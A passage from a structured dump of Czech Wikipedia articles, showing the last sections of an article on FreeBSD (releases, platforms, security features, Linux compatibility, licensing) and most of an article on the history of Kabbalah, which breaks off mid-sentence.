11.0-RELEASE. Generování OpenSSH DSA klíčů bylo ve výchozím nastavení zakázáno. OpenSSH bylo aktualizováno na verzi 7.2p2. Byla přidána wireless podpora pro 802.11n. Ve výchozím nastavení nástroj ifconfig (8) nastaví výchozí regulační doménu FCC na wireless rozhraních. Výsledkem je nově vytvořené wireless rozhraní s výchozím nastavením budou mít menší šanci porušit předpisy specifické pro danou zemi. Nástroj svnlite (1) byl aktualizován na verzi 1.9.4. Knihovna a aplikace libblacklist (3) byly naportovány z NetBSD. Byla přidána podpora pro architekturu AArch64 (arm64). Do hypervizoru bhyve (8) byla přidána podpora nativní grafiky. Byla přidána širší podpora bezdrátových síťových ovladačů.", "FreeBSD 12.0-RELEASE byl vydán prosinci 2018. OpenSSH, OpenSSL byli aktulizovány na vyšší verzi. Přidány byli klíčové věci jako sandbox capsicum (4) framework pro platformu arm6, arm7, UEFI+GELI v instalační volbě, defaultně zapnuta DANE-TA, ve výchozím nastavení byla povolena možnost konfigurace VIMAGE, volba NUMA byla standardně povolena v konfiguracích jádra amd64 GENERIC a MINIMAL. Byl přidán ovladač netdump (4) který poskytuje zařízení prostřednictvím které výpisy kernel crash dumpu mohou být přeneseny na vzdáleného hostitele po system panic. Ovladač vt (4) byl aktualizován na vyšší verzi který poskytuje vyšší výkon, kreslení textu 2- až 6krát rychleji. Různá vylepšení grafické podpory pro aktuální generaci hardwaru.", "FreeBSD bylo portováno na mnoho platforem. FreeBSD podporuje různé platformy podle Tier úrovní podpory. Podpora platforem které spadají pod Tier1 jsou vyvinuté a plně podporovány od security officer, release engineering, and port management týmu FreeBSD Foundation. Platformy spadající pod Tier2 jsou stále ve vývoji a nejsou podporovány od security officer, release engineering, and port managementu. Plaformy Tier3 jsou experimentální nebo již nejsou v aktivním vývoji, protože většina těchto platformem je zastaralá. Pokud některé platformy jsou zařazeny do Tier4 jsou odstraněny ze zdrojového kodu v dalším vydání. Nepodporované platformy jsou například Alpha, IA-64 FreeBSD bylo portováno na následující architektury: Podpora ARM and MIPS jsou ve většině případů zaměřena na vestavěné systémy, nicméně FreeBSD/ARM běží na několika jednodeskových počítačích,včetně BeagleBone Black, Raspberry Pi and Wandboard.", "FreeBSD poskytuje několik funkcí souvisejících s bezpečností, včetně access control lists (ACL), auditování bezpečnostních událostí, rozšířených atributů systému souborů, mandatory access control (MAC) a fine-grained Capability-based security. Tato vylepšení zabezpečení byla vyvinuta projektem TrustedBSD. Projekt byl založen Robertem Watsonem který poskytuje sadu rozšíření operačního systému FreeBSD zaměřenou na bezpečnost. Cílem tohoto projektu je implementovat koncepty ze Common Criteria pro vyhodnocování bezpečnosti informačních technologií a Trusted Computer System Evaluation Criteria. Projekt je podporován různými organizacemi, včetně DARPA, NSA, Network Associates Laboratories, Safeport Network Services, University of Pennsylvania, Yahoo!, McAfee Research, SPARTA, Apple Computer, nCircle Network Security, Google, University of Cambridge Computer Laboratory a další. Součástí TrustedBSD projektu je i port NSA implementace FLASK/TE v SELinuxu. Mezi další práce patří vývoj OpenBSM, open-source implementace API Sun Microsystems Basic MModule (BSM) a formátu souboru protokolu auditu, který podporuje rozsáhlý systém auditu zabezpečení. Toto bylo vydáno ve verzi FreeBSD 6.2. Další práce na infrastruktuře v FreeBSD prováděné v rámci projektu TrustedBSD zahrnovaly GEOM a OpenPAM. Většina funkcí projektu TrustedBSD byla přijata do FreeBSD. Kromě toho si mnoho funkcí, jakmile jsou plně vyvinuté, si najde cestu do jiných operačních systémů. Například OpenPAM byl přidán do NetBSD. Společnost Apple také pro MacOS přijala TrustedBSD MAC Framework. FreeBSD podporuje tři druhy firewalu: IPFW, pf a IPFilter. IPFW je nativní firewall FreeBSD. PF bylo převzato z OpenBSD a IPFilter byl přenesen do FreeBSD Darrenem Reedem. Po převzetí z OpenBSD byl program OpenSSH zahrnut do výchozí instalace. OpenSSH je bezplatná implementace protokolu SSH a nahrazuje telnet. Na rozdíl od telnetu OpenSSH šifruje všechny informace (včetně uživatelských jmen a hesel).", "", "FreeBSD poskytuje binární kompatibilitu s některými dalšími Unixovými operačními systémy včetně Linuxu. Toto se zdůvodnuje tím, že by FreeBSD mělo být schopné spouštět aplikace vyvíjené pro Linux, které jsou distribuovány pouze v binární formě a proto nemohou být portovány do FreeBSD bez vůle těch, kteří mají kontrolu nad zdrojovým kódem. Toto se týká především komerčních aplikací. Ve stručnosti to umožňuje uživatelům FreeBSD spouštět většinu aplikací, které jsou distribuovány pouze jako Linuxové binárky. V porovnání s obrovským množstvím nativních aplikací dostupných pro FreeBSD pomocí kolekce portů jsou tyto aplikace v menšině. Aplikace používané pod vrstvou kompatibility s Linuxem zahrnují Linuxovou verzi RealPlayeru, Oraclu, Mathematicy, Matlabu, WordPerfectu, Skypu, Dooma 3, Quaka 4, série Unreal Tournament atd. Obecně se zdá, že zde není žádná ztráta výkonu, která by stála za zmínku při spuštění Linuxových binárek oproti nativním FreeBSD binárkám.Pro většinu vědeckých aplikací funguje vrstva kompatibility s Linuxem korektně; aplikace jako nmrpipe, ccp, Mathematica a Matlab pracují podle očekávání. Přestože existuje mnoho aplikací, které pod vrstvou kompatibility pracují bezproblémově, je nutno poznamenat, že tato vrstva není kompletní, tedy některé Linuxové binárky mohou být nepoužitelné či s omezenou funkčností, pravděpodobně díky tomu, že jsou podporována pouze systémová volání Linuxového kernelu verze 2.6.16 a jen 32bitové aplikace. V rámci Google Summer of Code 2006 byl akceptován, a úspěšně dokončen, projekt mající za cíl aktualizovat vrstvu kompatibility a chybějící systémová volání. FreeBSD 7.0 a vyšší podporuje Linuxovou kompatibilitu s jádrem 2.6.16, tudíž je možné použít novejší Linuxove distribuce pro běh Linux aplikací. Od verze 10.3 je možné spouštět 64bit linuxové binárky.", "S pomocí runtime prostředí Wine, které je k dispozici v Ports Collection a jako binární balíček, lze pod FreeBSD spouštět řadu aplikací Windows, např. B. Microsoft Office. FreeBSD implementoval řadu nativních rozhraní jádra NDIS pro Microsoft Windows, aby umožnil FreeBSD spouštět síťové ovladače pouze pro Windows. Dnešní době se už moc nevyužívá.", "V současné době je schopna provozovat širokou škálu věcí z SysV převzatých ze systémů Solaris / x86 2.5.1 a 2.6. Plánovala se podpora binární souborů SCO UnixWare a SCO OpenServer. Ve verzi 12.0 tato podpora byla zahozena.", "Jako jeho sesterské operační systémy je FreeBSD šířen za podmínek různých licencí. Kompletní kód kernelu a většina nově vytvářeného kódu je vydávána za podmínek dvouklauzulové BSD licence, která umožňuje každému použít a redistribuovat FreeBSD podle potřeby. Jsou zde rovněž části pod GPL, LGPL, ISC, pivní licencí, tříklauzulovou BSD licencí a čtyřklauzulovou BSD licencí. Rovněž jsou dostupné binární BLOBy pro specifickou funkcionalitu, jako Atheros HAL pro bezdrátovou funkcionalitu a výhradně binární nástroj pro AAC RAIDy Adaptecu.", "Mnoho projektů je přímo či nepřímo založených na FreeBSD, vestavěnými zařízeními jako například routery společnosti Juniper Networks a operačním systémem použitým ve firewallech společnosti Nokia počínaje a částmi jiných operačních systémů včetně Linuxu a RTOS VxWorks konče. Darwin, jádro macOS společnosti Apple silně těží z FreeBSD, včetně jeho virtuálního souborového systému, síťového zásobníku a komponent jeho uživatelského prostoru. Apple pokračuje v integraci nového kódu z a přispívání nových změn zpět do FreeBSD. Opensourcový Open Darwin, původně odvozený z kódu Applu, ale nyní oddělený projekt rovněž obsahuje mnoho kódu z FreeBSD. Navíc existuje několik operačních systémů forknutých z, nebo založených na FreeBSD včetně PC-BSD a DesktopBSD, které zahrnují změny zacílené na domácí uživatele a pracovní stanice; distribuce FreeSBIE a Live CD Frenzy; zapouzdřené firewally m0n0wall a pfSense; a DragonFly BSD, významný fork z FreeBSD 4.8 zaměřující se na odlišnou strategii synchronizace více procesorů, než je ta ve FreeBSD a vývoj některých mikrokernelových vlastností.", "Česky: Anglicky:", "Česky: Slovensky: Anglicky:" ] }

{ "title": [ "Terminologie.", "Původ.", "Náboženská interpretace.", "Ma'ase berešit a Ma'ase merkava.", "Shrnutí.", "Vědecká interpretace původu kabaly.", "Gershom Scholem.", "Pseudovědecké interpretace a desintepretace.", "Vývoj kabaly ve středověku.", "Sefer Jecira.", "Chasidej Aškenaz.", "Španělsko a Provence.", "Bahir.", "Španělsko.", "Zohar.", "Sefíry a světy.", "Safed.", "Moše Cordovero.", "Jicchak Luria a luriánská kabala.", "Další safedští mystici.", "Sabatianismus, frankismus a vliv luriánské kabaly.", "Kabala v Čechách a na Moravě.", "Východoevropský chasidismus.", "Kabala dnes.", "New age kabala." ], "section_level": [ "1", "1", "2", "3", "3", "2", "3", "2", "1", "2", "2", "2", "3", "3", "3", "3", "2", "3", "3", "3", "2", "2", "2", "1", "2" ], "content": [ "Slovo \"kabala\" se objevuje již v tanaitském období, nemá ovšem nic společného s mystikou – termín, který nalézáme i v Talmudu – \"Divrej kabala\" – neznamená „slova kabaly“, nýbrž označuje dvě části hebrejské Bible – proroky a spisy. Ve významu „mystická tradice“ se objevuje až v 11.–13. století, ačkoli mystické a esoterní skupiny v judaismu existovaly mnohem dříve.", "", "Podle tradice obdržel Mojžíš na Sinaji Desatero přikázání, která v sobě zahrnují celou Tóru a společně s ní i ústní zákon, jehož součásti byl i systém výkladů, nazývaný - \"Pardes\" (slovo je zkomolenina z řeckého \"„paradaisos“\" a stejně jako ve svém původním vzoru i zde označuje \"„zahradu“\", respektive \"„rajskou zahradu“\"). Pardes slouží jako akrostich pro čtyři druhy výkladu Tóry - doslovný (\"pšat\"), alegorický (\"remez\"), homiletický (\"draš\") a mystický (\"sod\"). Právě mystickému výkladu se někteří lidé věnovali již ve starověku. V určitém slova smyslu byli prvními mystiky v židovství bibličtí proroci, rovněž i různí „boží muži“, se kterými se v Bibli setkáváme (např. v knize Soudců). S mystiky jako takovými se ovšem setkáváme až v době pozdější, kdy výklady Tóry dostoupily na takovou úroveň, aby mohly být studovány i z mystického pohledu. Mezi farizejskými rabínskými kruhy se měli pověsti mystika těšit mj. rabi Jochanan ben Zakaj, rabi Akiva a také jeho žák, rabi Šim'on bar Jochaj (dle náboženské tradice autor knihy Zohar). Z tohoto příběhu je vidět, že mystické učení mělo již v té době pověst něčeho, co je přístupno pouze skutečně zbožným lidem, a pro ty, kteří nesplňují odpovídající „požadavky“, se může jednat i o velmi nebezpečnou praktiku. Podle tradice měli již tanaité praktikovat mystické praktiky, nazývané \"Ma'ase berešit\" a \"Ma'ase merkava\".", "Praktika \"Ma'ase berešit\" (dosl. dílo stvoření) spočívala v napodobování Božího díla – latinský termín pro takové chování je - mystik se pokoušel Boží dílo stvoření zopakovat nebo alespoň napodobit – podle tradice byli někteří rabíni schopni „vyrábět“ umělé bytosti, např. tele nebo i člověka. Odtud se později rozvinula idea umělého člověka - Golema. \"Ma'ase merkava\" je mystikou jiného řádu - doslova znamená „dílo vozu“ (ovšem tak to nemůže být chápáno) a v tomto případě se jedná o vůz (\"merkava\") a nebeský trůn z proroctví proroka Ezechiela. Mystik se pokoušel pomocí meditačních praktik, mezi které patřilo usilovné a soustředěné modlení, permutování Božích jmen apod. do vozu „sestoupit“ – takoví mystici se nazývají \"jordej merkava\" – dosl. „ti, kdo sestupují do vozu“. Jejich prožitky byly zaznamenány ve spisech, které jsou dnes souhrnně označovány jako literatura \"hechalot\". Hechalot znamená doslova „chrámy“, kterými v tomto případě duše mystika prochází až ke svému cíli, tj. k Bohu. Mystická tradice měla být podle tradiční náboženské interpretace dále předávána z generace na generaci a později začali kabalisté své myšlenky zapisovat. Jejich díla byla a jsou stále jejich žáky studenty považována za svého druhu posvátná. Některá díla tradice dokonce přisuzuje dávným postavám, např. Sefer Jecira (kniha stvoření) je přisuzována Abrahámovi, Bahir Nechunjovi ben ha-Kanovi (žákovi Jochanana ben Zakaje), Zohar rabimu Šim'onu bar Jochajovi.", "Ortodoxní judaismus považuje kabalu za esoterní tradici, která má svůj původ u Mojžíše na Sinaji a která byla předávána z generace na generaci.", "Po dlouhou dobu zůstávala kabala stranou seriózního vědeckého výzkumu. Pomineme-li „výzkum“ okultistů v 19. století, který nelze brát vážně, první židovští vědci - zakladatelé \"Wissenschafft des Judentums\" (vědy o židovství), Heinrich Graetz nebo Leopold Zunz, se ke kabale stavěli odmítavě, považovali ji za něco iracionálního, co zcela odporuje judaismu v představách pojetí haskaly – „osvícenského“ judaismu. Prvním vědcem, který se kabalou začal zabývat na vědecké úrovni bez předsudků, byl Gershom Scholem.", "Gershom Scholem (1897–1982) byl profesor kabaly na Hebrejské univerzitě v Jeruzalémě a je považován za zakladatele kabaly jako vědního oboru. Byl prvním člověkem, který se o kabalu začal zajímat na seriózní úrovni a dokázal, že kabala není judaismu cizí, ale naopak je jeho integrální a živoucí součástí. Jeho práce spočívala především v důkladném studiu tisíců kabalistických spisů, z nichž se velká část dochovala pouze v manuskriptech. Gershom Scholem se domníval, že počátky a kořeny kabaly je třeba hledat v gnostickém hnutí v pozdním starověku na Blízkém východě. Již tehdy se měla mystika dostat do určitého názorového napětí s oficiálním judaismem, které se ovšem v židovství podařilo překlenout (na rozdíl od křesťanství, kde gnostické sekty jako kataři nebo bogomilové byly vyvražděny). Určité gnostické prvky (znaky dualismu) je možné vysledovat ve středověkých kabalistických dílech jako Bahir nebo Zohar. Scholem byl ve své době jeden z mála lidí zabývajících se kabalou, který zpochybnil tradiční tezi o autorství těchto textů. Právě v této době (11.–13. století) se měla židovská mystika začít nazývat \"kabalou\" – tradicí.", "Někteří „badatelé“ (např. Eliphas Lévi (vl. jménem Alphons Luis Constante), Papus (vl. jménem Gérard Encausse) a další), vesměs příslušníci francouzské okultistické školy 19. století, zastávali nový názor ohledně původu kabaly. Její vznik se snažili posunout již do doby odchodu Židů z Egypta, resp. chtěli vyjít z legendy o Mojžíšově zasvěcení do staroegyptského tajného vědění. Mojžíš byl knězem Osiridova kultu a vynikajícím magikem. Židé tak vynesli z Egypta tajné učení, které podle některých pseudovědců Egypťané přijali od Atlanťanů atd. Tyto teorie jsou vzhledem k serióznímu bádání naprosto neudržitelné, přesto jsou stále brány v některých okultních kruzích vážně. Další desinterpretací je časté ztotožňování kabaly s magií (ačkoli i v kabale jisté magické prvky nacházíme, jako jsou například permutace písmen Božích jmen, nicméně mystické koncepce a prvky nad touto oblastí jednoznačně převažují), okultismem, černou magií, čarodějnictvím apod. Kabala rovněž nemá nic společného s tarotem (ačkoli se někteří lidé snažili dokázat, že ano ), vykládáním karet apod.", "", "Kabala získala své základní rysy již během starověku díky mystice \"Ma'ase berešit\" a \"Ma'ase merkava\". Velký pokrok ve vývoji mystiky znamenalo v 7. století zveřejnění Sefer Jecira – Knihy stvoření. O stáří tohoto velmi krátkého spisku, který byl přeložen do řady jazyků, se vedou spory. Existují názory, které jej datují až do 3.–4. století. Význam Sefer Jecira dále spočívá v tom, že se poprvé objevují \"sefíry\". Sefíry jsou deseti cestami z celkových třiceti dvou, skrze které byl stvořen svět. Deset sefír je možné brát i jako základ desítkové číselné soustavy, deset aspektů Boha nebo desatero Božích přikázání, dvacet dva zbývajících cest jsou pak písmena hebrejské abecedy. Sefer Jecira tak v sobě kombinuje jak starověkou mystiku číselnou a písmennou (takže se např. G. Scholem domnívá, že Sefer Jecira vznikla jako spojení dvou nezávislých děl), zároveň začíná pracovat s pojmem \"sefír\", které emanují (vyvěrají) z Boha a dodávají tak stvoření dynamiku, na které bude později kabala stavět.", "Jedním z prvních mystických hnutí bylo hnutí tzv. aškenázských chasidů – jednalo se o pietistické hnutí, kladoucí velký důraz na osobní zbožnost a niterný prožitek náboženství. Byli označováni jako \"chasidim\" - zbožní. Aby byli odlišeni od chasidů starověkých, kteří působili v době hasmonejských válek, a taktéž od chasidů novodobých východoevropských, se kterými nemají mnoho společného, nazývají se dnes hebrejským termínem \"Chasidej aškenaz\", podle jejich místa působení, což bylo převážně Porýní a Německo (ztotožněné s biblickou zemí Aškenaz), kde se nacházelo původní těžiště aškenázské židovské kultury. Mystické myšlenky byly do Německa přineseny pravděpodobně ve 12. století Židy z Itálie, jejichž mystická tradice sahala možná až do oblasti Blízkého východu, a tedy do období i prostředí, ve kterém vznikala Sefer Jecira. Impulzem ke vzniku hnutí byly mimo jiné i pogromy, které postihly německé a severofrancouzské Židy během křížových výprav, především během 1. a 2. výpravy. Ideálem chasida ve středoevropském pojetí byl zbožný asketa, člověk, který svou víru a hlubokou vnitřní zbožnost propaguje leckdy i způsobem pro své okolí podivným, neřkuli nepřijatelným. Na druhou stranu askeze v židovském prostředí neznamenala absolutní celibát a odříznutí se od vnějšího světa jako je tomu v případě mnišství. Jejím jádrem byla bázeň před Bohem a láska k člověku. Chasid se měl vyhnout všemu, co by v něm podnítilo \"jecer ha-ra\" – zlý pud. Tím, že se mystika chasidej aškenaz vytvářela v prostředí, kde židovství bojovalo o holé přežití, nenabylo formu ucelených škol a myšlenkových směrů jako později ve Španělsku nebo v Safedu, ale mělo charakter velmi neuceleného vzepětí individualit, navíc leckdy byly jejich ideje kombinovány s prvky lidové (folklórní) zbožnosti, jako bylo vytváření amuletů, zaříkávání nebo jiné, magii připomínající praktiky. Hlavními postavami hnutí jsou Jehuda he-Chasid (Jehuda Zbožný), autor spisu \"Sefer chasidim\" (Kniha zbožných), který shrnuje mystické i etické zásady a pojetí chasida ve středověké Evropě, jeho otec Šmu'el Chasid a El'azar ben Jehuda z Wormsu, autor spisu \"Rokeach\". Myšlenky středověkých chasidů rovněž nezapřou vliv novoplatonismu i předchozích náboženských autorit, jakými byl např. Sa'adja Ga'on.", "Během 12. a 13. století, kdy se centrum židovské filosofie a kultury nachází ve Španělsku a jižní Francii (oblast Provence) se tato oblast stává i centrem mystickým. Právě v této době se má mystické učení judaismu začít nazývat \"tradicí\" čili \"kabalou\", a mystici \"mekabelim\", tedy ti, kdo tuto tradici přijímají – \"kabalisty\". Jedním z prvních význačných mystiků z Provence byl \"Jicchak Sagi Nahor\", zvaný též \"Jicchak (Izák) Slepý\". Jicchak byl synem učence rabiho \"Avrahama ben Davida\", zvaného podle akrostichu \"Ra'avad\". Jeho spisy a jejich sloh jsou velmi temné a jen těžko srozumitelné. Jicchak se v nich soustředí především na \"kavanu\" – záměr, soustředění, v tomto případě náboženské, koncentraci, především při modlitbě. Kromě pojmu \"kavana\" se v jeho díle objevuje i pojem \"devekut\" – dosl. přilnutí, v tomto případě k Bohu. \"Devekut\" se v té či oné podobě bude v kabale vyskytovat i nadále, nejvíce v pozdějším východoevropském chasidismu.", "Kniha Bahir je útlý spisek, psaný hebrejsky a aramejsky, a je nejvýznamnějším dílem pocházejícím z jihofrancouzské mystické školy. Gershom Scholem, který se jím důkladně zabýval, zmiňuje ve svém díle \"Kabala a její symbolika\", že Bahir je velmi špatně, chaoticky a nesouvisle poskládaný soubor citátů z Bible, Talmudu, midrašů a jiných zdrojů, jejichž kořeny je možné hledat již v Orientu a v gnostickém učení, které ovlivnilo i židovskou východní kulturu. Význam Bahiru spočívá v tom, že učení o sefírách zde nabývá konkrétnějších podob – z deseti cest, jimiž Bůh tvořil svět, se stávají deseti \"midot\", dosl. mírami, tedy atributy nebo vlastnostmi Boha. V Bahiru jsou také sefíry zobrazovány v podobě stromu, který představuje jak uspořádání sefír, tak světů. Strom představuje schéma, jak Boží síla sestupuje na svět – ovšem pouze tehdy, pokud je strom (a tedy i svět) v dokonalé rovnováze.", "Jeden ze svých vrcholů zažívá kabala ve Španělsku 13. století. Působilo zde mnoho vynikajících učenců, z nichž řada se stavěla ke kabale rezervovaně, ale například Nachmanides je za kabalistu všeobecně považován. Jeho komentář k Tóře je plný mystických obratů a termínů. Ve Španělsku působil i extatický mystik a představitel tzv. prorocké kabaly (tj. kabaly orientované eschatologicky a mesianisticky) Avraham Abulafia, jehož dílo dosud nebylo zcela prozkoumáno (jedním z autorů zabývajících se prorockou mystikou Abulafii je např. Moše Idel), Josef Gikatilia (někdy psáno \"Gikatilla\"), autor slavného, hebrejsky psaného spisu \"Ša'arej ora\" (\"Brány světla\", latinsky vydáno jako \"\") nebo Moše z Leonu (Moše de León), autor celé řady spisů, kterému je rovněž připisováno autorství nejznámějšího a podle některých i nejdůležitějšího díla kabaly, Sefer ha-Zohar.", "V Zoharu krystalizuje látka, která již byla naznačena v předchozích spisech. Zohar je rozsáhlým mystickým komentářem k Tóře, obsahujícím řadu dodatků, které pocházejí z pozdější doby, a je psán umělou aramejštinou, která je spojením aramejštiny babylónského Talmudu a aramejských překladů Bible – targumů. Zohar již naplno rozpracovává ideu sefír, na kterou později naváže \"Moše Cordovero\" a \"Jicchak Luria\".", "Sefíry, hebrejsky (\"sfirot\", sg. - \"sefira\") je slovo, odvozené nejspíše od slova ספר – \"safar\" – počítat. Sefíry jsou dle Knihy stvoření deseti cestami, které tvoří základ všeho existujícího. Zároveň jsou jakýmisi idejemi, aspekty Boha, které s ním ovšem nejsou totožné. Sefíry emanují z Boha a jsou s ním spojeny „jako je spojen plamen s řeřavým uhlíkem“. V Bahiru již získávají jména především podle biblických veršů (1Pp 29, 11, Př 2, 6; 2, 10; 4, 5-6; 8,14; 10,25; Jb 12, 13) a jsou ztotožňovány s Božími atributy, později získávají další vlastnosti (barvu, živly, prvky, Boží jména atd.). Sefíry jsou tyto: Světy jsou čtyři a nazývají se Acilut (emanace), Beri'a (stvořené), Jecira (zformované) a Asija (učiněné). Jejich název pochází z verše Iz 43,7: „koho jsem stvořil ke své slávě, koho jsem vytvořil (zformoval) a učinil\". Acilut je nejvyšším, zcela duchovním stupněm světů. Tak jako je svět Acilut odrazem Boha (není s ním zcela totožný), tak i další nižší světy jsou odrazem Acilut – podle Šabtaje Šeftla ben Akivy Horovice je Acilut podoben pečetnímu prstenu, zatímco ostatní světy jsou podobny jeho otisku. V aplikaci na sefirotický strom jsou většinou sefíry \"Keter\", \"Chochma\" a \"Bina\" považovány za svět Acilut, sefíry \"Chesed\", \"Gevura\" a \"Tif'eret\" jako Beri'a, což je svět Božího trůnu, sefíry \"Necach\", \"Hod\" a \"Jesod\" tvoří svět Jecira, což je svět andělů v čele s Metatronem, Asija je svět nejnižší, materiální – je duchovním pravzorem našeho hmotného světa, podobně jako sefira \"Malchut\".", "Po vyhnání Židů ze Španělska roku 1492 se střediskem kabalistů stalo město Safed v Galileji (\"Cfat\") v dnešním Izraeli. V okolí Safedu, především mezi Safedem a vesnicí Meron, se nachází velké množství hrobů významných učenců z tanaitských i pozdějších dob, mezi nimi především hrob rabiho Šim'ona bar Jochaje v Meronu. Safed 16. století přitahoval židovské učence (Josef Karo, autor halachického kodexu Šulchan aruch) i mystiky.", "Moše Cordovero žil v letech 1522 až 1570 a je považován za zakladatele mystického centra v Safedu. Jeho hlavním dílem je spis \"Pardes rimonim\" neboli \"Zahrada granátových jablek\", ve kterém rozpracovává učení o sefírách. V pojetí Mošeho Cordovera tvoří sefíry dokonalý systém, který, pokud se nachází ve stavu vyváženosti, funguje naprosto dokonale a je-li vztažen na člověka, pak tento člověk zažívá pocit dokonalého štěstí. Kabala Mošeho Cordovera je někdy označována jako „spekulativní“ či „systematická“ v protikladu k pojetí kabaly u jeho nástupce, představitele mystiky mnohem extatičtější, Jicchaka Lurii.", "Jicchak ben Šlomo Luria byl typickým představitelem extatického mystika, kromě jiného i tím, že sám nic nenapsal – díla, která jsou mu připisována, jsou díly jeho žáků, případně jeho žáci ve svých vlastních dílech reflektovali názory svého mistra. Luria pocházel z aškenázské rodiny (odtud jeho označení jako \"Ari\", což může znamenat jak hebrejsky „lev“, tak i \"Aškenazi rabi Jicchak\" - \"Aškenázský rabín Izák\", někdy se píše jako \"Arizal\", což je nepřesný přepis zkratky \"Ari z\"l\" (\"zichrono li-vracha\" – jeho památka budiž požehnána)). Narodil se v Jeruzalémě a nějaký čas měl pobývat v Káhiře, kde se dostal ke kabalistickému rukopisu. Na základě studia odešel do Safedu, kde studoval u Mošeho Cordovery. Do kabaly Luria vnáší mimořádný dramatický prvek, který obohatil kabalistické učení jeho učitele. Zatímco dle Mošeho Cordovery měl být svět, tak jak je uspořádán do sefirotického systému, de facto dokonalý – pouze lidské jednání jej vychyluje z této rovnováhy –, Luria přišel s myšlenkou jakési kosmické pra-katastrofy, při které byly sefíry rozbity a zbytky božského světla byly zachyceny v nečistých, temných „skořápkách“, střepech, hebrejsky \"klipot\". Tyto zbytky božského světla touží dostat se zpět ke svému původnímu zdroji, tj. Bohu, ovšem mohou tak činit pouze za předpokladu, že člověk vykoná micvu, tedy splní Boží přikázání, a tím osvobodí zbytky světla z klipot. K úplné nápravě tak může dojít pouze tehdy, když budou všechny zbytky světla vysvobozeny, a to se může stát pouze tehdy, pokud všichni lidé budou dodržovat Boží přikázání – tehdy dojde k tzv. \"tikun olam\", tedy „nápravě světa“. Takto vzniklá tzv. \"luriánská kabala\" měla značný vliv na židovství v Polsku v pozdějších stoletích, zejména v 17. a 18. století. Luriánská kabala obsahuje řadu dualistických elementů, běžně počítá s anděly, rovněž počítá i s existencí zla jakožto samostatné entity.", "Kromě těchto dvou největších postav pozdně středověké kabaly se v Safedu nacházel i Luriův žák Chajim Vital, autor spisu \"Ec chajim\" (Strom života), ve kterém zachytil Luriovo učení. Vital je nicméně i autorem vlastních děl, např. Sefer ha-chezjonot – Kniha vidění, kde popisuje své mystické sny a vize.", "V roce 1665 započal své působení židovský heretik a sektář Šabtaj Cvi. Jeho „prorok“, kabalista Natan z Gazy, jej prohlásil za Mesiáše. Hnutí mělo obrovský ohlas mezi Židy po celém Středomoří i Evropě. Šabtaj měl mít údajně mystické vize, které byly navíc umocněny studiem kabalistických spisů. Dnešní badatelé soudí, že Šabtaj trpěl jednou z forem maniodepresivní psychózy. Šabtajovo hnutí, známé dnes jako sabatianismus, bylo největším mesianistickým hnutím uvnitř židovství od nástupu křesťanství. Šabtajova činnost se poměrně brzy znelíbila tureckým úřadům, které mu daly vybrat mezi konverzí k islámu, nebo popravou. Šabtaj konvertoval a spolu s ním i řada jeho přívrženců, neboť údajně mělo dojít touto cestou k vykoupení skrze hřích – Šabtaj měl sestoupit svou konverzí do nejhlubšího bahna, aby i z něj vysvobodil jiskry Božího světla, uvězněné v klipot. Sabatiáni vytvořili v Turecku dodnes působící malou sektu, nazývanou Dönme. O století později započal svou kariéru Jakob Frank, který se prohlásil za mesiáše podobně jako Šabtaj Cvi, a navázal na jeho učení. Působil především v Polsku, ale také na Slovensku, v Uhrách, poměrně velký vliv získal i v Čechách a na Moravě. Aby se uchránil před pronásledováním ze strany židovských kruhů, které v něm spatřovaly nebezpečného heretika, přestoupil na katolictví a svůj přestup zdůvodnil podobně jako Šabtaj svůj přestup na islám. Také v jeho případě mělo dojít k vykoupení prostřednictvím nejhlubšího odpadnutí. K frankismu se hlásily i některé významné rodiny, nicméně již během 19. století sekta upadá a se smrtí dcery Jakoba Franka Evy v r. 1816 její období končí. Skupiny frankistů a sabatiánů se v Evropě udržely dlouho, zhruba dvě stě let. Přívrženci těchto sekt byli ovšem uvnitř judaismu systematicky potíráni, a pokud se ocitli mimo židovské kruhy, většinou splynuli s novou komunitou, tj. s islámem nebo katolictvím. Jedním z následků tohoto sektářství byl i mnohem přísnější pohled na kabalu, zvláště pak na její luriánskou podobu, požadavek studia kabaly po dovršení 40 let, a u řady ortodoxních i později neortodoxních rabínů tato rezervovanost vyústila v odpor či odklon od kabaly a mystiky jakožto idejí duchovnímu životu „neprospěšných“.", "Mystika kvetla v období renesance i v českých zemích, mezi nejznámější učence, kteří se jí zabývali, patří Maharal, dále na Krétě narozený a v Praze pohřbený Josef ben Šlomo Delmedigo, Ješaja Horowitz, autor spisu \"Šnej luchot ha-brit\" (Dvě desky smlouvy), který začal psát v Praze a dokončil v Jeruzalémě. Skládá se výkladu židovských zákonů a etiky z kabalistického pohledu. Jedním z posledních významných mystiků byl Šmu'el Šmelke Horovic, který působil v Mikulově v 18. století jako vrchní rabín a je jedním z mála chasidských rabínů působivších na území Čech a Moravy. V 18. století byl postoj ke kabale ze strany hlavních náboženských autorit, jakými byli Ezechiel Landau nebo Jákob Emden, velmi negativní, právě kvůli problémům s frankisty.", "Chasidismus v pojetí východoevropských židů je dnes považován za zatím poslední stupeň vývoje kabaly jakožto živoucí náboženské mystiky. Pro chasidy je typické totéž, co pro jejich předchůdce – výrazný důraz na osobní zbožnost, prožitek při modlitbě, radost, neskrývání emocí. Ohledně askeze bývají již zdrženlivější. Rabínský judaismus vždy odmítal ideu celibátu či hladovění (kromě vyhrazených postních dní) jako takovou, nicméně chasidem by neměl „cloumat\" zlý úmysl – \"jecer ha-ra\" –, a to i v otázkách stylu života a sexuálních vztahů. Kromě toho je zde i důraz na učení významných kabalistů, které se projevuje např. změnou modlitebního ritu – chasidé, ač patří mezi aškenázské židy, používají upravený sefardský ritus, dnes označovaný jako \"nusach Sfard\".", "Kromě kabaly v pojetí chasidismu, který stále, byť v modlifikované podobě existuje (ať už v USA nebo v Izraeli) se kabala stále více studuje i na univerzitách jakožto vědecký obor, i na ješivách jakožto „zájmový předmět\" – a nemusí se vždy jednat pouze o ješivy ortodoxní či chasidské. Pojetí kabaly na ortodoxních náboženských školách je více méně stejné jako v době předosvícenské, tzn. za závazné se považuje pouze tradiční podání (ať už ohledně autorství spisů nebo závaznosti výroků v nich uvedených). Na neortodoxních náboženských školách se ke kabalistickým dílům přistupuje více kriticky (nikoli však ke kabale jako takové, která je považována za legitimní způsob cesty k Bohu). Ve většině synagog bez ohledu na ritus se recitují modlitby a písně, které mají svůj původ v mystice – nejznámější je např. \"Lecha dodi\", píseň zkomponovaná kabalistou Šlomo ha-Levi Alkabecem, která se zpívá během pátečního soumraku.", "Mystika kabaly se ve dvacátém století těšila rostoucí pozornosti i v nežidovských kruzích. Byli-li to zpočátku jen náboženští badatelé a okultní teozofické kruhy, kteří se o kabalu zajímali, stala se kabala středem pozornosti 